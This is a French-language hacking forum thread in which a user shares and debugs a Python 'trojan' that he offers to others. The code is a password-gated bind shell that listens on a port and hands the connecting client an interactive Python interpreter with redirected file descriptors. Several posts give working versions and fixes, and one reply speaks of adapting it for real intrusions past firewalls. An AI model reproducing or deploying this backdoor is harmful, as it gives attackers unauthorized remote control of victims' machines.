You are not logged in.
salut à tous!
j'ai découvert ce forum via HacKethiC, un magazine d'excellente qualité, pas lame et bien documenté.
Je suis en train de me coder un petit trojan en python (pour mon usage personnel et ma team, si quelqu'un est intérréssé, qu'il me contacte).
Voici le code:
################################
#! /usr/bin/python
# -*- coding: iso8859-1 -*
from socket import *
import socket
port=6666
host=''
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
print "vous etes bien connecte sur le port %d, Ctrl-C pour quitter"%port
while 1:
clsock,claddr=s.accept()
clfile=clsock.makefile('rw',0)
clfile.write("entrez le pass : ")
mot=clfile.readline().strip()
if mot =="root\n":
import code, sys, os
for f in range (3):
os.dup2(clfile.fileno(),f)
code.interact()
sys.exit()
clfile.close()
clsock.close()
################################
Lors de la connexion via telnet, après avoir tapé 'root', plus rien ne se passe; je suis obligé de terminer le script directement. J'ajoute que tout ceci se passe en localhost.
Quelqu'un peut-il m'aider?
Merci d'avance.
Offline
UP !
personne ?
Offline
Le port peut être ? ![]()
Offline
le port importe peu, du moment qu'il est supérieur à 1024, non?
Offline
Salut !
original wrote:
if mot =="root\n":
remplacement wrote:
if mot =="root":
Le "\n" n'est pas transmit via le réseau, il sert juste à valider une fin de tampon, et n'est pas pris dans la comparaison ...
Seb
Offline
ok merci beaucoup... je regarde ça!
C'est bon... j'ai une autre erreur maintenat, mais rien que je ne puisse régler! ![]()
Merci beaucoup ! ![]()
Last edited by lin_hex77 (26.02.2010 19:23:52)
Offline
C'est bon, ça à marché... je publierai ce [petit] trojan dans l'e-zine de pr0ceed.
Offline
Mouaiiii, moi je m'excuse mais pour avoir ne serais se qu'une toute petite chance de réussir un piratage avec ce code j'ai du le modifier presque entièrement ![]()
Mais pas encore efficace puisque les FireWall laisse rien passer, donc j'ai crée un serveur ![]()
Je le posterais bien cela mais beaucoup de mauvaise expérience avec certain utilisateur du web ( que je ne citerais pas :S :k )
Offline
salut NarKo !
En fait, il s'agit plus d'un essai en programmation réseau via python (je ne m'y était presque jamais essayé auparavant, aux sockets
)... En ce moment, je le teste sous Window$, et j'ai une erreur :
#
vous etes bien connecte sur le port 6666, Ctrl-C pour quitter
Traceback (most recent call last):
File "C:\Documents and Settings\Compaq_PropriÚtaire\Bureau\trojanserver3.py",
line 27, in <module>
os.dup2(clfile.fileno(),f)
OSError: [Errno 9] Bad file descriptor
#
En tout cas, si tu souhaite poster ta création, ce n'est pas moi ui t'en empêcherai
Suis pas hypocrite moi... :p
PS: je tiens à signaler que Compaq_PropriÚtaire n'est pas à moi...
J'ai pas de Compaq...
Last edited by lin_hex77 (23.04.2010 19:55:22)
Offline
Ben le code de base c'est ça normalement ![]()
import socket
port=2989
host=''
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)
print 'vous etes connecte sur le port %d,Ctrl-C pour quitter\n '%port
clsock,claddr=s.accept()
clfile=clsock.makefile('rw',0)
clfile.write("bonjour, bienvenue Sur ApoCalypS"+str(claddr)+"\n")
clfile.write("entrez une commande SVP : ")
mot=clfile.readline()
if mot=="root\n":
import code, sys,os
for f in range(3):
os.dup2(clfile.fileno(),f)
code.interact()
sys.exit()
clfile.write("vous avez entrez un mot de %d caractere"%len(mot))
clfile.close()
clsock.close()Voila j'espère ne avoir mélanger les codes, mais normalement c'est bon..
D'ailleurs Merci a Fasm et a ACISSI Pour m'avoir conseiller le python, le jour ou j'ai acheter ce livre
s'etais le signe que l'Amazonie est fias pour moi ![]()
Offline
Moi, après modif, j'ai ça:
#! /usr/bin/python
# -*- coding: iso8859-1 -*
#Coded by lin_hex77#
from socket import *
import socket
port=6666
host=''
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
print "vous etes bien connecte sur le port %d, Ctrl-C pour quitter"%port
while 1:
clsock,claddr=s.accept()
clfile=clsock.makefile('rw',0)
#print("bonjour, bienvenue"+str(claddr)+"\n")
clfile.write("entrez le pass : ")
mot=clfile.readline().strip()
if mot =="root":
from code import InteractiveConsole
import code, sys,os, string
for f in range (3):
os.dup2(clfile.fileno(),f)
code.interact()
sys.exit()
clfile.write("vous avez entre un mot de %d caracteres"%len(mot))
clfile.close()
clsock.close()Offline
print "vous etes bien connecte sur le port %d, Ctrl-C pour quitter"%port
ça serait plus, "vous écoutez bien sur le port ..."
Offline
tu as raison ![]()
je corrige ça... non mais vraiment ! ![]()
Offline
Tu as trouver comment réparer ton Erreur Lin ? ![]()
Offline
Merci, c'est bon Narko ! J'ai trouvé, et ça marche très bien. Je suis une discussion sur crack-wpa (enfin, avant que ça ferme
) qui devrait également me faciliter un peu la tâche... ![]()
Offline